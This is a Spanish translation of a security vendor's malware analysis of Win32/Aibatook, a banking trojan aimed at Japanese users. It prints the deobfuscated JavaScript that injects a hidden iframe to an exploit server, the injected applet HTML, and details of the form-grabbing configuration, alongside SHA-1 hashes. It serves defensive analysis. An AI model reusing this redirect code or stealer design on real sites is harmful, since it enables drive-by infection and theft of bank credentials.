En esta publicación examinaremos una familia de malware llamada Win32/Aibatook, dirigida a la información de cuentas bancarias de usuarios japoneses y a las credenciales de cuentas de los proveedores de hosting. Apareció a finales de 2013 y ya se ha documentado una versión anterior por Symantec, que incluso ubicó Sinkholes en algunos de los servidores de comando y control de Win32/Aibatook.

En lugar de acobardarse, los operadores luego publicaron una versión actualizada y pasaron de Delphi a C++ como lenguaje de programación. Esta publicación se centrará en la nueva versión de la amenaza, que apareció en abril de 2014 y presenta algunas peculiaridades interesantes:

  • La propagación del malware se logra mediante una cadena de ataques personalizados desde los sitios infectados
  • Está solo dirigido a Internet Explorer y utiliza una técnica inusual para robar información personal
  • Se despliegan dos implementaciones diferentes de la lógica para robar información: la primera se diseñó específicamente para atacar dos de los bancos japoneses más importantes, mientras que la segunda es más flexible y actualmente se usa para atacar alrededor de 90 sitios japoneses.

Primero describiremos el método de propagación más reciente de Win32/Aibatook, y luego sus funcionalidades reales y su implementación.

Propagación

La historia del malware de fraude bancario Win32/Aibatook comienza, como suele ocurrir hoy en día, con la infección de sitios web legítimos para redirigir a sus visitantes a equipos servidores de exploits, donde se infectan con software malicioso. Pero en lugar de usar un exploit kit completo (como Fiesta, Angler o cualquier otro de los sospechosos de siempre, que cuentan con la capacidad de servir distintos exploits según la configuración del visitante), los delincuentes responsables de las infecciones de Win32/Aibatook emplean sólo de a un exploit por vez.

Aunque no parece que sea la mejor estrategia, de hecho es perfectamente coherente con la naturaleza de ataques dirigidos de esta operación. Si posees un exploit eficiente para atacar a tu objetivo (en este caso, los clientes de bancos japoneses), ¿para qué vas a molestarte en usar más?

Desde mediados de abril, el exploit utilizado para propagar Win32/Aibatook usa la vulnerabilidad de Java CVE-2013-2465. Para ello, se emplearon muchos sitios legítimos infectados. En el transcurso de los últimos tres meses, identificamos cuatro de estos sitios, y creemos que hay más.

Estos proporcionan contenido pornográfico dirigido a un público japonés. Según Alexa, tres de ellos están incluidos en la lista de los 20 mil sitios web más visitados en Japón; uno incluso está entre los primeros 2 mil. La forma en que los atacantes lograron infectar estos sitios aún no queda clara.

La siguiente imagen describe el proceso de infección del visitante en un caso particular, aunque los otros tres sitios siguen una lógica similar de infección:

proceso-infeccion-aibatook

1. El usuario ingresa con su navegador a una página que contiene un vínculo a un archivo malicioso de JavaScript (JS) alojado en otro sitio comprometido.

2. Al quitar la primera capa básica de ofuscación, el script tiene la siguiente forma:

if(document.cookie.indexOf(“GOOGLE1″)==-1)
{

var _d=new Date();
_d.setTime(_d.getTime()+24*60*60*1000);
document.cookie=”GOOGLE1=123GOOGLE1456;expires=”+_d.toGMTString();
setTimeout(

function(){
var _ifr=document.createElement(/ifra/.source+/me/.source);
ifr.width=”1″;
ifr.height=”1″;
ifr.frameborder=”0″;
ifr.src=”//2002.jp/”;
document.body.appendChild(_ifr)},
1000)

}

El script inyecta un IFRAME en una página servidora de exploits “2002.jp”. También coloca una cookie llamada “GOOGLE1” que permanecerá en el equipo del usuario durante las siguientes 24 horas, para que no se hagan redirecciones adicionales durante este período.

3. A continuación, el usuario se conecta al sitio servidor de exploits, que responde con lo que parecería ser una página de error:

error-sitio-japones
Bajo ciertas condiciones, se insertará un fragmento de código HTML (invisible para el usuario) al comienzo de la página. Está resaltado el código fuente de la página mostrado abajo:

<HTML>
<BODY>
<applet id=”HelloApplet” code=”b399.class”,height=”0″ width=”0″></applet>
</BODY>
</HTML><script src=”//ccc.rejec.net/counter.php”></script>
<html>
<head>
<title>Error 404 Not Found</title>

El navegador luego descarga el applet de Java “b399.class” desde el sitio web y lo ejecuta. También solicitará un archivo llamado “counter.php” de otro dominio. Creemos que este último paso está relacionado con las condiciones bajo las cuales se insertará el fragmento de código HTML: sólo una cantidad limitada de usuarios por día recibirán el exploit, lo que explica la necesidad de contar el número de intentos. Este script de conteo está alojado en lo que parece ser aún otro sitio infectado.

4. El applet de Java es un exploit que aprovecha la vulnerabilidad CVE-2013-2465. Para resumirlo en líneas generales, comienza con un desbordamiento de enteros en un componente 2D de Java SE que lleva a un daño en la memoria del código del Kit de Herramientas de Ventana Abstracta (Abstract Window Toolkit, AWT).

Este daño en la memoria permite la evasión del modelo de sandbox de Java mediante la rescritura de la clase “SecurityManager”. El exploit luego descargará la carga desde la URL provista por uno de los archivos de clase, la guardará como “tar.gif” y finalmente la ejecutará. Durante nuestra investigación, la URL con la carga fue “xsvx1014274.xsvr.jp”.

Abajo se describen los diversos archivos de clase que observamos como parte de este exploit:

sha-proposito
Queremos resaltar el hecho de que Win32/Aibatook se distribuyó a través de otros exploits en distintos períodos de tiempo (por ejemplo, CVE-2014-0322); pero, según nuestras observaciones, siempre tuvo esta configuración de “un exploit por vez”.

Carga

El objetivo principal de Win32/Aibatook es robarles información personal y bancaria a los usuarios japoneses. Lo puede hacer de dos formas diferentes: la primera es atacando a algunos bancos específicos con un método hecho a medida, y la segunda atacando a alrededor de 90 sitios diferentes con un método más genérico. Ambos métodos se basan en la misma técnica de manipulación de Internet Explorer, la que describiremos a continuación.

Manipulación de Internet Explorer

Win32/Aibatook controla Internet Explorer a través de de la interfaz COMIHTMLDocument2, que permite la lectura y escritura rápidas de las páginas con métodos de alto nivel. Con el propósito de recuperar esta interfaz para la página que se está usando en el momento, Win32/Aibatook lleva a cabo los siguientes pasos:

  • Recupera la gestión de la ventana bajo el cursor del mouse mediante el uso de las funciones API “GetCursorPos” y “WindowFromPoint”
  • Verifica si el nombre de clase de esa ventana es “Internet Explorer_Server”:

o    Si no lo es, el programa simplemente se suspende por un segundo antes de volver a intentarlo

o    Si es el nombre, se usa una instancia de la interfaz “IHTMLDocument2” desde la gestión de la ventana, mediante el uso de una técnica documentada

Dichas implementaciones específicas de Internet Explorer (que al menos funcionan en las versiones de 8 a 11) quizá parezcan bastante limitadas debido a que no se puede manipular ningún otro navegador. No obstante, Japón es uno de los pocos países donde Internet Explorer es el navegador más utilizado. Éste es otro indicador de por qué Win32/Aibatook se enfoca solamente en Japón.

Las siguientes dos secciones presentan los ataques utilizados por Win32/Aibatook, a los que denominamos respectivamente “Ladrón de información a medida” y “Ladrón de información genérico”.

Ladrón de información a medida

En la primera aplicación de la técnica de monitoreo de Internet Explorer, Win32/Aibatook está dirigido a ciertos bancos cuyas URL están codificadas en forma rígida en el programa. Durante nuestra investigación, observamos que los ataques estuvieron dirigidos al Japan Post y el SBI Sumishin Net Bank. Para atacar estos bancos, Win32/Aibatook extrae la URL de la página web que se está visitando. Utiliza el método “IHTMLDocument2.get_url” y lo compara con las URL del banco objetivo:

url_search_japanpost
Cabe señalar que las URL de los bancos están cifradas con un cifrado personalizado, al igual que todas las cadenas maliciosas presentes en las muestras de Win32/Aibatook. Concretamente, cada cadena cifrada está compuesta por dos partes:

  • La primera es una clave de longitud fija que parece una cadena codificada en base64, pero que en realidad solo constituye una cadena de caracteres aleatorios en base64. Antes de usar esta cadena, se le aplicará el cifrado XOR con un valor codificado en forma rígida.
  • La segunda parte contiene los datos cifrados que se descifrarán primero con base64, y que luego se cifrarán con XOR con la clave anterior.

En caso de que se trate de la URL de uno de los bancos objetivo, el programa malicioso comenzará a monitorear el proceso de inicio de sesión del usuario basándose en el título de la página (“IHTMLDocument2.get_title”) y su contenido (“IHTMLDocument2.get_nameProp”). Durante este proceso, Win32/Aibatook puede hacer dos cosas:

  1. Recuperar los valores ingresados por el usuario en ciertos campos de entradas HTML (usuario, contraseña, etc.)
  2. Reescribir el código HTML que se muestra al usuario. Para ello, recupera el cuerpo de la página HTML (“IHTMLDocument2.get_body”) y lo modifica (“body.put_innerHTML”). Éste es un ejemplo de código HTML inyectado en la página de inicio de sesión del banco Japan Post:

japan-postEl mensaje rojo se traduce en líneas generales como una solicitud urgente para que el usuario ingrese su número de identificación personal porque se requiere actualizar el sistema (si el usuario hace clic en el botón, simplemente es redirigido a otra página del sitio web del Japan Post).

Cuando el programa recopiló la información personal, la envía al servidor de comando y control (C&C) mediante una URL codificada en forma rígida. Este mensaje es una solicitud  POST de HTTP que contiene la información recopilada en forma de parámetros, cifrada de manera similar a las cadenas mencionadas arriba. También envía la dirección MAC de la máquina, probablemente para identificar a la víctima. De los dos bancos atacados por este método, el Japan Post (que fue el objetivo de Win32/Aibatook desde el comienzo) recibe un trato especial.

  • Se coloca un proxy malicioso en el navegador cuando el usuario visita el sitio del Japan Post. No logramos observar el uso de este proxy, pero suponemos que es otra forma de recopilar la información ingresada por el usuario.
  • Si el usuario visita una página anti-phishing en el sitio del Japan Post, Win32/Aibatook lo redirige a la página de inicio de sesión antes de que se pueda cargar.

Ladrón de información genérico

En abril, Win32/Aibatook incorporó una técnica adicional para robar información. Le permite a los atacantes extender ampliamente la cantidad de objetivos sin hacer demasiado esfuerzo, incluso dirige los ataques a sitios que no pertenecen a bancos.

Esta técnica se fue refinando en el transcurso de los últimos meses y parece que recientemente ha alcanzado un nivel satisfactorio (al menos desde el punto de vista de los autores de Win32/Aibatook), ya que ahora solo modifican el contenido y no las funcionalidades del motor de configuración.

Esta técnica, comúnmente conocida en inglés como "form-grabbing", consiste en monitorear constantemente los campos de entradas HTML en las páginas utilizadas por el usuario. Si los campos de entradas cumplen condiciones determinadas, se extraen los valores.

Para ello, se recupera un archivo de configuración que describe los sitios web objetivo, desde una URL codificada en forma rígida. Este archivo se cifra en un principio de manera similar a las cadenas descritas arriba, y luego se almacena en memoria como texto sin formato. A continuación se muestra un extracto de un archivo de configuración específico que encontramos:

[VER]1000[/VER]
[W]

[Web]xy40[/Web]
[CURL]REDACTED.jp[/CURL]
[CTI][/CTI]
[NAME]memberid[/NAME]
[NAME]password[/NAME]
[NAME]domain[/NAME]

[/W]
[W]

[/W]

Es un archivo estructurado con etiquetas jerárquicas similar al lenguaje HTML, con la excepción de que las etiquetas están encerradas entre paréntesis. Comienza con una etiqueta de la versión, seguida de una serie de entradas “[W]”, cada una de las cuales representa un objetivo y contiene varias entradas secundarias.

  • La etiqueta “[Web]” contiene el nombre del objetivo, que en general es un tipo de nombre en código sin significado aparente.
  • La etiqueta “[CURL]” contiene la URL de la página objetivo (la URL objetivo se eliminó de la imagen anterior)
  • La etiqueta “[CTI]” contiene el título de la página objetivo
  • La etiqueta ”[NAME]” define un nombre del campo de entrada HTML que se va a robar
  • La etiqueta “[ID]” define un ID del campo de entrada HTML que se va a robar

La lógica que sigue el programa con este archivo de configuración es la siguiente: si la URL de un sitio web coincide con el valor de la etiqueta “[CURL]” de una entrada, o si su título coincide con el valor de la etiqueta “[CTI]”, entonces cada campo de entrada HTML que coincida con el valor de la etiqueta “[NAME]” o “[ID]” será robado.

Para dejarlo claro, miremos un momento este ejemplo artificial:

configuracion-aibatook
En este ejemplo tenemos, de izquierda a derecha, un archivo de configuración de Win32/Aibatook con una entrada, luego una página visitada que accionará esta entrada, y por último la información enviada al servidor que almacena los datos robados.

Esta técnica de robo de información es sumamente flexible; en particular algunas de las entradas, ya que vienen con los valores vacíos para las etiquetas “[CURL]” y “[CTI]”, lo que hace que cualquier página con los campos de entrada HTML correspondientes coincida. En lo que respecta a los objetivos, encontramos 87 durante nuestra investigación. Logramos identificar algunos de ellos basándonos en los valores de las etiquetas “[CURL]” y “[CTI]”, mientras que el resto sigue sin poder identificarse. Abajo se describen los dominios de actividad de dichos objetivos:

objetivos-actividad
Como suponíamos, la mayoría de los objetivos identificados corresponden al ámbito bancario, pero algunos de ellos son empresas de servicios de hosting, lo que puede explicar la manera en que se infectan los sitios legítimos y luego se usan en la cadena de infección. Cabe notar que la mayoría de los objetivos identificados son empresas importantes en Japón.

Conclusión

En esta publicación analizamos a Win32/Aibatook, una familia de malware que dirige sus ataques a usuarios japoneses. Este malware infecta los equipos a través de una cadena de infecciones propagadas por sitios legítimos comprometidos. Su propósito principal es robar información personal mediante una técnica de monitoreo de Internet Explorer poco común, que implementa dos ladrones de información diferentes: uno diseñado específicamente para atacar algunos de los bancos principales de Japón, y el segundo dirigido a alrededor de 90 sitios distintos.

Según nuestras observaciones en el transcurso de la presente investigación, Win32/Aibatook se siguió desarrollando constantemente durante los últimos meses. Creemos que esta familia de malware ya está lista para el despegue y podemos esperar que sus autores la comiencen a propagar más ampliamente en un futuro cercano.

Este análisis fue creado por Clément Rouault, en colaboración con Joan Calvet.

Hashes

Éstos son algunos hashes SHA-1 de muestras de Win32/Aibatook:

c5ffed550addfa27dc1adbc58f3f99fa9a5bc9e8
ebd4fd477bd8a93bfb24fd49128860e8d2b494e0
3e90dde02423687b7c81cba8fc600f7cbcda8752
4343919ba7c2701f5481632f20bf7ddc2c6ebe11

Traducción del post de We Live Security.